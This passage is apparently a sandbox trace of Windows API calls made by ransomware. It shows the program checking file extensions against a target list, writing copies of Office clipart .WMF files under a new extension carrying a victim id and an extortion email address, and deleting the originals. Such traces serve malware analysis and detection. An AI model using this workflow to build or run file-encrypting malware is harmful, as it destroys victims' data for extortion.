lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0220.056] lstrlenW (lpString=".zip") returned 4 [0220.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.058] lstrlenW (lpString=".rar") returned 4 [0220.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.059] lstrlenW (lpString=".bz2") returned 4 [0220.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.059] lstrlenW (lpString=".7z") returned 3 [0220.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0220.059] lstrlenW (lpString=".dbf") returned 4 [0220.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0220.059] lstrlenW (lpString=".1cd") returned 4 [0220.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0220.059] lstrlenW (lpString=".jpg") returned 4 [0220.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.067] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.067] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0220.068] GetLastError () returned 0x0 [0220.068] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x600c, lpOverlapped=0x0) returned 1 [0220.122] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x6010, lpOverlapped=0x0) returned 1 [0220.123] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.123] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.123] SetEndOfFile (hFile=0x1f0) returned 1 [0220.123] CloseHandle (hObject=0x1f0) returned 1 [0220.123] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.123] SetEndOfFile (hFile=0x220) returned 1 [0220.124] CloseHandle (hObject=0x220) returned 1 [0220.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0220.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0220.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0220.125] lstrlenW (lpString=".doc") returned 4 [0220.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.125] lstrlenW (lpString=".docx") returned 5 [0220.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.125] lstrlenW (lpString=".pdf") returned 4 [0220.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.125] lstrlenW (lpString=".xls") returned 4 [0220.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.125] lstrlenW (lpString=".xlsx") returned 5 [0220.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.125] lstrlenW (lpString=".ppt") returned 4 [0220.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0220.125] lstrlenW (lpString=".zip") returned 4 [0220.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.125] lstrlenW (lpString=".rar") returned 4 [0220.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.125] lstrlenW (lpString=".bz2") returned 4 [0220.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.125] lstrlenW (lpString=".7z") returned 3 [0220.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0220.125] lstrlenW (lpString=".dbf") returned 4 [0220.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0220.125] lstrlenW (lpString=".1cd") returned 4 [0220.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0220.125] lstrlenW (lpString=".jpg") returned 4 [0220.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.125] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=14820) returned 1 [0220.125] CloseHandle (hObject=0x220) returned 1 [0220.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20 [0220.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0220.126] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.126] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0220.126] GetLastError () returned 0x0 [0220.126] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x39e4, lpOverlapped=0x0) returned 1 [0220.153] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x39f0, lpOverlapped=0x0) returned 1 [0220.153] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.154] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.154] SetEndOfFile (hFile=0x1f0) returned 1 [0220.154] CloseHandle (hObject=0x1f0) returned 1 [0220.154] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.154] SetEndOfFile (hFile=0x220) returned 1 [0220.154] CloseHandle (hObject=0x220) returned 1 [0220.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0220.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0220.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0220.155] lstrlenW (lpString=".doc") returned 4 [0220.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.155] lstrlenW (lpString=".docx") returned 5 [0220.155] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.155] lstrlenW (lpString=".pdf") returned 4 [0220.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.155] lstrlenW (lpString=".xls") returned 4 [0220.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.155] lstrlenW (lpString=".xlsx") returned 5 [0220.155] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.155] lstrlenW (lpString=".ppt") returned 4 [0220.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0220.155] lstrlenW (lpString=".zip") returned 4 [0220.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.155] lstrlenW (lpString=".rar") returned 4 [0220.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.155] lstrlenW (lpString=".bz2") returned 4 [0220.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.155] lstrlenW (lpString=".7z") returned 3 [0220.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0220.155] lstrlenW (lpString=".dbf") returned 4 [0220.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0220.155] lstrlenW (lpString=".1cd") returned 4 [0220.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0220.155] lstrlenW (lpString=".jpg") returned 4 [0220.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.169] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3616) returned 1 [0220.169] CloseHandle (hObject=0x220) returned 1 [0220.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20 [0220.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0220.170] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.170] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0220.170] GetLastError () returned 0x0 [0220.170] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xe20, lpOverlapped=0x0) returned 1 [0220.187] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe30, lpOverlapped=0x0) returned 1 [0220.188] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.188] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.188] SetEndOfFile (hFile=0x1f0) returned 1 [0220.189] CloseHandle (hObject=0x1f0) returned 1 [0220.189] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.189] SetEndOfFile (hFile=0x220) returned 1 [0220.189] CloseHandle (hObject=0x220) returned 1 [0220.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0220.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0220.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0220.190] lstrlenW (lpString=".doc") returned 4 [0220.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.190] lstrlenW (lpString=".docx") returned 5 [0220.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.190] lstrlenW (lpString=".pdf") returned 4 [0220.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.190] lstrlenW (lpString=".xls") returned 4 [0220.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.190] lstrlenW (lpString=".xlsx") returned 5 [0220.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.190] lstrlenW (lpString=".ppt") returned 4 [0220.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0220.190] lstrlenW (lpString=".zip") returned 4 [0220.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.190] lstrlenW (lpString=".rar") returned 4 [0220.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.190] lstrlenW (lpString=".bz2") returned 4 [0220.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.190] lstrlenW (lpString=".7z") returned 3 [0220.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0220.190] lstrlenW (lpString=".dbf") returned 4 [0220.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0220.190] lstrlenW (lpString=".1cd") returned 4 [0220.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0220.190] lstrlenW (lpString=".jpg") returned 4 [0220.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.191] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2796) returned 1 [0220.191] CloseHandle (hObject=0x220) returned 1 [0220.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20 [0220.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0220.191] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.191] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0220.191] GetLastError () returned 0x0 [0220.191] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xaec, lpOverlapped=0x0) returned 1 [0220.247] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xaf0, lpOverlapped=0x0) returned 1 [0220.251] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.251] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.251] SetEndOfFile (hFile=0x1f0) returned 1 [0220.251] CloseHandle (hObject=0x1f0) returned 1 [0220.251] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.251] SetEndOfFile (hFile=0x220) returned 1 [0220.252] CloseHandle (hObject=0x220) returned 1 [0220.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0220.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0220.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0220.252] lstrlenW (lpString=".doc") returned 4 [0220.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.252] lstrlenW (lpString=".docx") returned 5 [0220.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.252] lstrlenW (lpString=".pdf") returned 4 [0220.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.252] lstrlenW (lpString=".xls") returned 4 [0220.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.252] lstrlenW (lpString=".xlsx") returned 5 [0220.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.252] lstrlenW (lpString=".ppt") returned 4 [0220.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0220.252] lstrlenW (lpString=".zip") returned 4 [0220.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.252] lstrlenW (lpString=".rar") returned 4 [0220.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.252] lstrlenW (lpString=".bz2") returned 4 [0220.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.253] lstrlenW (lpString=".7z") returned 3 [0220.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0220.253] lstrlenW (lpString=".dbf") returned 4 [0220.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0220.253] lstrlenW (lpString=".1cd") returned 4 [0220.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0220.253] lstrlenW (lpString=".jpg") returned 4 [0220.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.253] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2080) returned 1 [0220.253] CloseHandle (hObject=0x220) returned 1 [0220.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x20 [0220.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0220.253] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.253] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0220.254] GetLastError () returned 0x0 [0220.254] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x820, lpOverlapped=0x0) returned 1 [0220.281] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x830, lpOverlapped=0x0) returned 1 [0220.281] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, 